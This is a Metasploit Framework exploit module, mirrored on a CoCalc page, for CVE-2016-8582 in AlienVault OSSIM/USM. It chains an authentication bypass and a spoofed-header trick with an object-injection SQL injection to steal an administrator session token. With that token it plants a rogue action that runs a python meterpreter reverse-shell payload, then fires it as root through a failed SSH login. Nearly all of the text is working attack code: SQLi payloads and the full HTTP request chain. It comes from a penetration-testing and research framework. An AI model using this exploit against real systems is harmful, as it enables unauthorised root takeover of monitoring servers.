CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/alienvault_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::SSH
11
12
def initialize(info={})
13
super(update_info(info,
14
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
15
'Description' => %q{
16
This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.
17
Unauthenticated users can execute arbitrary commands under the context of the root user.
18
19
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
20
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
21
action and policy that enables to execute operating system commands by using captured session token. As a final step,
22
SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes
23
operating system command with root user privileges.
24
25
This module was tested against following product and versions:
26
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
27
AlienVault OSSIM 5.0.0, 4.6.1
28
},
29
'License' => MSF_LICENSE,
30
'Author' =>
31
[
32
'Peter Lapp', # EDB advisory owner
33
'Mehmet Ince <[email protected]>' # Metasploit module
34
],
35
'References' =>
36
[
37
['CVE', '2016-8582'],
38
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
39
['EDB', '40682']
40
],
41
'DefaultOptions' =>
42
{
43
'SSL' => true,
44
'WfsDelay' => 10,
45
'Payload' => 'python/meterpreter/reverse_tcp'
46
},
47
'Platform' => ['python'],
48
'Arch' => ARCH_PYTHON,
49
'Targets' =>
50
[
51
['Alienvault USM/OSSIM <= 5.3.0', {}]
52
],
53
'Privileged' => true,
54
'DisclosureDate' => '2017-01-31',
55
'DefaultTarget' => 0
56
))
57
58
register_options(
59
[
60
Opt::RPORT(443),
61
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
62
])
63
end
64
65
66
def check
67
r = rand_text_alpha(15)
68
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
69
70
res = send_request_cgi({
71
'method' => 'GET',
72
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
73
'headers' => {
74
'User-Agent' => 'AV Report Scheduler',
75
},
76
'vars_get' => {
77
'type' => 'alarm',
78
'wtype' => 'foo',
79
'asset' => 'ALL_ASSETS',
80
'height' => 1,
81
'value' => p
82
}
83
})
84
85
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
86
Exploit::CheckCode::Vulnerable
87
else
88
Exploit::CheckCode::Safe
89
end
90
91
end
92
93
94
def exploit
95
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
96
print_status("Hijacking administrator session")
97
98
sql = "SELECT id FROM sessions LIMIT 1"
99
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
100
101
res = send_request_cgi({
102
'method' => 'GET',
103
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
104
'headers' => {
105
'X-Forwarded-For' => rhost.to_s,
106
'User-Agent' => 'AV Report Scheduler',
107
},
108
'vars_get' => {
109
'type' => 'alarm',
110
'wtype' => 'foo',
111
'asset' => 'ALL_ASSETS',
112
'height' => 1,
113
'value' => p
114
}
115
})
116
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
117
admin_session = $1
118
cookie = "PHPSESSID=#{admin_session}"
119
print_good("Admin session token : #{cookie}")
120
else
121
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
122
end
123
124
# Creating a Action that contains payload.
125
print_status("Creating rogue action")
126
r = rand_text_alpha(15)
127
128
res = send_request_cgi({
129
'method' => 'POST',
130
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
131
'cookie' => cookie,
132
'headers' => {
133
'X-Forwarded-For' => rhost.to_s,
134
},
135
'vars_post' => {
136
'id' => '',
137
'action' => 'new',
138
'old_name' => '',
139
'action_name' => r,
140
'ctx' => '',
141
'old_descr' => '',
142
'descr' => r,
143
'action_type' => '2',
144
'only' => 'on',
145
'cond' => 'True',
146
'email_from' => '',
147
'email_to' => 'email;email;email',
148
'email_subject' => '',
149
'email_message' => '',
150
'transferred_user' => '',
151
'transferred_entity' => '',
152
'exec_command' => "python -c \"#{payload.encoded}\""
153
}
154
})
155
156
if res && res.code == 200 && res.body.include?("Action successfully updated")
157
print_good("Action created: #{r}")
158
else
159
fail_with(Failure::Unknown, "Unable to create action")
160
end
161
162
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
163
# Thus we're using hijacked administrator session.
164
print_status("Retrieving rogue action id")
165
166
res = send_request_cgi({
167
'method' => 'GET',
168
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
169
'cookie' => cookie,
170
'headers' => {
171
'X-Forwarded-For' => rhost.to_s,
172
},
173
'vars_get' => {
174
'page' => '1',
175
'rp' => '2000'
176
}
177
})
178
179
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
180
action_id = $1
181
print_good("Corresponding Action ID found: #{action_id}")
182
else
183
fail_with(Failure::Unknown, "Unable to retrieve action id")
184
end
185
186
# Retrieving the policy data. We will use it while creating policy
187
print_status("Retrieving policy ctx and group values")
188
189
res = send_request_cgi({
190
'method' => 'GET',
191
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
192
'cookie' => cookie,
193
'headers' => {
194
'X-Forwarded-For' => rhost.to_s,
195
},
196
'vars_get' => {
197
'm_opt' => 'configuration',
198
'sm_opt' => 'threat_intelligence',
199
'h_opt' => 'policy'
200
}
201
})
202
203
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
204
policy_ctx = $1
205
policy_group = $2
206
print_good("CTX Value found: #{policy_ctx}")
207
print_good("GROUP Value found: #{policy_group}")
208
else
209
fail_with(Failure::Unknown, "Unable to retrieve policy data")
210
end
211
212
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
213
print_status("Creating a policy that uses our rogue action")
214
policy = rand_text_alpha(15)
215
216
res = send_request_cgi({
217
'method' => 'POST',
218
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
219
'cookie' => cookie,
220
'headers' => {
221
'X-Forwarded-For' => rhost.to_s,
222
},
223
'vars_post' => {
224
'descr' => policy,
225
'active' => '1',
226
'group' => policy_group,
227
'ctx' => policy_ctx,
228
'order' => '1',
229
'action' => 'new',
230
'sources[]' => '00000000000000000000000000000000',
231
'dests[]' => '00000000000000000000000000000000',
232
'portsrc[]' => '0',
233
'portdst[]' => '0',
234
'plug_type' => '1',
235
'plugins[0]' => 'on',
236
'taxfilters[]' =>'25@2@0',
237
'tax_pt' => '0',
238
'tax_cat' => '0',
239
'tax_subc' => '0',
240
'mboxs[]' => '00000000000000000000000000000000',
241
'rep_act' => '0',
242
'rep_sev' => '1',
243
'rep_rel' => '1',
244
'rep_dir' => '0',
245
'ev_sev' => '1',
246
'ev_rel' => '1',
247
'tzone' => 'Europe/Istanbul',
248
'date_type' => '1',
249
'begin_hour' => '0',
250
'begin_minute' => '0',
251
'begin_day_week' => '1',
252
'begin_day_month' => '1',
253
'begin_month' => '1',
254
'end_hour' => '23',
255
'end_minute' => '59',
256
'end_day_week' => '7',
257
'end_day_month' => '31',
258
'end_month' => '12',
259
'actions[]' => action_id,
260
'sim' => '1',
261
'priority' => '1',
262
'qualify' => '1',
263
'correlate' => '0',
264
'cross_correlate' => '0',
265
'store' => '0'
266
}
267
})
268
269
if res && res.code == 200
270
print_good("Policy created: #{policy}")
271
else
272
fail_with(Failure::Unknown, "Unable to create policy id")
273
end
274
275
# We gotta reload all policies in order to make our rogue one enabled.
276
print_status("Activating the policy")
277
278
res = send_request_cgi({
279
'method' => 'GET',
280
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
281
'cookie' => cookie,
282
'headers' => {
283
'X-Forwarded-For' => rhost.to_s,
284
},
285
'vars_get' => {
286
'what' => 'policies',
287
'back' => '../policy/policy.php'
288
}
289
})
290
291
if res && res.code == 200
292
print_good("Rogue policy activated")
293
else
294
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
295
end
296
297
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
298
opts = ssh_client_defaults.merge({
299
auth_methods: ['password'],
300
port: 22,
301
password: rand_text_alpha(15)
302
})
303
304
print_status("Triggering the policy by performing SSH login attempt")
305
306
begin
307
Net::SSH.start(rhost, "root", opts)
308
rescue Net::SSH::AuthenticationFailed
309
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
310
rescue Net::SSH::Exception => e
311
print_error("SSH Error: #{e.class} : #{e.message}")
312
return nil
313
end
314
315
end
316
end
317
318